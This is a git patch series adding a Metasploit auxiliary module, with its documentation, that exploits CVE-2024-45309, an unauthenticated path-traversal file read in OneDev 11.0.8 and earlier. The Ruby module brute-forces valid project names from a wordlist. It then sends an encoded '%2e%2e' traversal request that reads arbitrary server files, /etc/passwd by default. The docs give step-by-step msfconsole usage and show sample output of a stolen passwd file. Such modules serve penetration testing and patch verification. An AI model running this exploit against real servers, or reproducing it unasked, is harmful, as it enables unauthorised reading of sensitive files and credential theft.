From 1e6bfb2af8aa3a68b29d0cbb640a6836875f997f Mon Sep 17 00:00:00 2001 From: vultza Date: Sat, 2 Nov 2024 00:15:03 +0000 Subject: [PATCH 1/8] Add CVE-2024-45309 --- .../gather/onedev_arbitrary_file_read.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/auxiliary/gather/onedev_arbitrary_file_read.rb diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb new file mode 100644 index 000000000000..797180773d2d --- /dev/null +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + CheckCode = Exploit::CheckCode + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OneDev Unauthenticated Arbitrary File Read', + 'Description' => %q{ + This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. + To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor + can view existing projects without authentication. + However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. + By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. + } + 'Author' => [ + 'vultza', # metasploit module + 'Siebene' # vuln discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-45309'], + ['URL', 'https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489'] + ], + 'DisclosureDate' => '2024-10-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the OneDev instance', '/']), + OptString.new('TARGETFILE', [true, 'The absolute file path to read', '/etc/passwd']), + OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]), + OptString.new('PROJECT_NAME', [true, 'The target OneDev project name', '']), + OptPath.new('PROJECT_NAMES_FILE', [ + false, 'File containing project names to try, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt') + ]) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + return CheckCode::Unknown('Request failed') unless res + + version = res.body.scan(/OneDev ([\d.]+)/).first + + if version.nil? + return CheckCode::Unknown("Unable to detect the OneDev version, as the instance does not have anonymous access enabled.") + end + + version = Rex::Version.new(version[0]) + + return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8') + + CheckCode::Vulnerable("OneDev #{version} is vulnerable.") + end + + def validate_project_exists(project) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/#{project}", '/~site') + }) + + fail_with(Failure::Unreachable, 'Request timed out.') unless res + + return true unless res.code != 200 + + nil + end + + def find_project + print_status 'Brute forcing valid project name ...' + + File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project| + project = project.strip + next unless validate_project_exists(project) + + print_status("#{peer} - Found valid OneDev project name: #{project}") + return project + end + nil + end + + def run + project_name = datastore['PROJECT_NAME'] + + project_name = find_project if project_name.strip.empty? + + fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name + + fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) + + path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e' + payload_path = normalize_uri(target_uri.path, project_name) + payload_path = "#{payload_path}/#{path_traversal}#{datastore['TARGETFILE']}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => payload_path + }) + + fail_with(Failure::Unreachable, 'Request timed out.') unless res + + fail_with(Failure::UnexpectedReply, "Target file #{datastore['TARGETFILE']} not found.") unless !res.body.include? 'Site file not found' + + file_name = datastore['TARGETFILE'] + if datastore['STORE_LOOT'] + store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], res.body, file_name, 'File retrieved from OneDev server') + print_good("#{file_name} file stored in loot.") + else + print_good("#{file_name} file retrieved with success.\n#{res.body}") + end + end +end From f0abc0da69378096e9c1d6c6b9a06a7d4938cb10 Mon Sep 17 00:00:00 2001 From: vultza Date: Sat, 2 Nov 2024 00:16:02 +0000 Subject: [PATCH 2/8] Add documentation --- .../gather/onedev_arbitrary_file_read.md | 135 ++++++++++++++++++ 1 file changed, 135 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md diff --git a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md new file mode 100644 index 000000000000..b2dc0b6dea69 --- /dev/null +++ b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md @@ -0,0 +1,135 @@ +## Vulnerable Application + +OneDev is a Git Server with CI/CD, kanban, and packages. +This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. +This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file. + +To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor +can view existing projects without authentication. +However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. +By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. + +## Installation + +OneDev provides docker images for a quick setup process. +A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8). + +Installation instructions can be found [here](https://docs.onedev.io/). + +## Verification Steps + +1. Install the OneDev application +2. Start msfconsole +3. Do: `use auxiliary/gather/onedev_arbitrary_file_read` +4. Set the `RHOSTS` and `RPORT` options as necessary +5. Set the `TARGETFILE` option with the absolute path of the target file to read + +If a valid project name is known: + +6. Set the `PROJECT_NAME` option with the known project name +7. Do: `run` +8. If the file exists, the contents will be displayed to the user + +If there is no information about existing projects: + +6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name +7. Do: `run` +8. If a valid project name is found, the target file contents will be displayed to the user + +## Options + +### PROJECT_NAME +A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server, +any visitor can see the existing projects, and colllect a valid project name. On the other hand, if anonymous access is disabled, +the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force. + +### PROJECT_NAMES_FILE +Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set, +the module will verify whether a given project exists for each word. + + +### TARGETFILE +Absolule file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. + +### STORE_LOOT +If set as `true`, the target file contents will be stored as loot. Set as `false` by default. + + +## Scenarios + +### Example: Known project name or anonymous access enabled on OneDev 11.0.8 + +``` +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 +RHOSTS => 192.168.1.10 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 +RPORT => 6610 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject +PROJECT_NAME => myproject +msf6 auxiliary(gather/onedev_arbitrary_file_read) > run +[*] Running module against 192.168.1.10 + +[+] Target file retrieved with success +[*] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin + +[*] Auxiliary module execution completed + +``` + +### Example:Uunknown projects with anonymous access disabled on OneDev 11.0.8 +``` +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 +RHOSTS => 192.168.1.10 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 +RPORT => 6610 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt +PROJECT_NAMES_FILE => /home/server/wordlist.txt +msf6 auxiliary(gather/onedev_arbitrary_file_read) > run +[*] Running module against 192.168.1.10 + +[*] Brute forcing valid project name ... +[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject +[+] Target file retrieved with success +[*] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin + +[*] Auxiliary module execution completed + +``` From 8f2f0c7b37e37fac6a72f6d811bdc134c694d412 Mon Sep 17 00:00:00 2001 From: vultza Date: Sat, 2 Nov 2024 15:08:37 +0000 Subject: [PATCH 3/8] typo on documentation --- .../modules/auxiliary/gather/onedev_arbitrary_file_read.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md index b2dc0b6dea69..2ca5428702ee 100644 --- a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md +++ b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md @@ -95,7 +95,7 @@ messagebus:x:100:101::/nonexistent:/usr/sbin/nologin ``` -### Example:Uunknown projects with anonymous access disabled on OneDev 11.0.8 +### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8 ``` msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 RHOSTS => 192.168.1.10 From a74e1678d9c4206f5668d47a4833f36ad8511b81 Mon Sep 17 00:00:00 2001 From: vultza Date: Sat, 2 Nov 2024 15:10:15 +0000 Subject: [PATCH 4/8] fix path normalization and missing comma --- modules/auxiliary/gather/onedev_arbitrary_file_read.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb index 797180773d2d..4fbe8a92c94b 100644 --- a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -18,7 +18,7 @@ def initialize(info = {}) can view existing projects without authentication. However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. - } + }, 'Author' => [ 'vultza', # metasploit module 'Siebene' # vuln discovery @@ -74,7 +74,7 @@ def check def validate_project_exists(project) res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "/#{project}", '/~site') + 'uri' => normalize_uri(target_uri.path, project, '~site') }) fail_with(Failure::Unreachable, 'Request timed out.') unless res From 3a90648c7a4a6ee333894dc46ab890535b8bb5fb Mon Sep 17 00:00:00 2001 From: vultza Date: Mon, 4 Nov 2024 15:55:45 +0000 Subject: [PATCH 5/8] update validation function and fix typo --- modules/auxiliary/gather/onedev_arbitrary_file_read.rb | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb index 4fbe8a92c94b..8d36274a152e 100644 --- a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -73,19 +73,15 @@ def check def validate_project_exists(project) res = send_request_cgi({ - 'method' => 'GET', + 'method' => 'HEAD', 'uri' => normalize_uri(target_uri.path, project, '~site') }) - fail_with(Failure::Unreachable, 'Request timed out.') unless res - - return true unless res.code != 200 - - nil + return res&.code == 200 end def find_project - print_status 'Brute forcing valid project name ...' + print_status 'Bruteforcing a valid project nameā€¦' File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project| project = project.strip From c9e0668473dae40a953866e1369207a4195534f3 Mon Sep 17 00:00:00 2001 From: vultza Date: Mon, 4 Nov 2024 16:01:06 +0000 Subject: [PATCH 6/8] fixed double project name validation issue --- .../auxiliary/gather/onedev_arbitrary_file_read.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb index 8d36274a152e..04fa43a2cc3c 100644 --- a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -96,11 +96,12 @@ def find_project def run project_name = datastore['PROJECT_NAME'] - project_name = find_project if project_name.strip.empty? - - fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name - - fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) + if project_name.strip.empty? + project_name = find_project + fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name + else + fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) + end path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e' payload_path = normalize_uri(target_uri.path, project_name) From 1348275ff7d567029302e23cac9a2ce8fcb5f74d Mon Sep 17 00:00:00 2001 From: vultza Date: Mon, 4 Nov 2024 23:07:32 +0000 Subject: [PATCH 7/8] fix lax check --- modules/auxiliary/gather/onedev_arbitrary_file_read.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb index 04fa43a2cc3c..090f1a2c851f 100644 --- a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -58,6 +58,10 @@ def check return CheckCode::Unknown('Request failed') unless res + if ! ["OneDev", "var redirect = '/~login';"].any? { |f| res.body.include? f } + return CheckCode::Unknown("The target isn't a OneDev instance.") + end + version = res.body.scan(/OneDev ([\d.]+)/).first if version.nil? From 39243fc52f6ccdc856f783710920a121584bc8df Mon Sep 17 00:00:00 2001 From: vultza Date: Thu, 7 Nov 2024 22:37:47 +0000 Subject: [PATCH 8/8] minor fixes --- modules/auxiliary/gather/onedev_arbitrary_file_read.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb index 090f1a2c851f..d33f7f4f41e2 100644 --- a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -58,7 +58,7 @@ def check return CheckCode::Unknown('Request failed') unless res - if ! ["OneDev", "var redirect = '/~login';"].any? { |f| res.body.include? f } + unless ["OneDev", "var redirect = '/~login';"].any? { |f| res.body.include? f } return CheckCode::Unknown("The target isn't a OneDev instance.") end @@ -72,7 +72,7 @@ def check return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8') - CheckCode::Vulnerable("OneDev #{version} is vulnerable.") + CheckCode::Appears("OneDev #{version} is vulnerable.") end def validate_project_exists(project)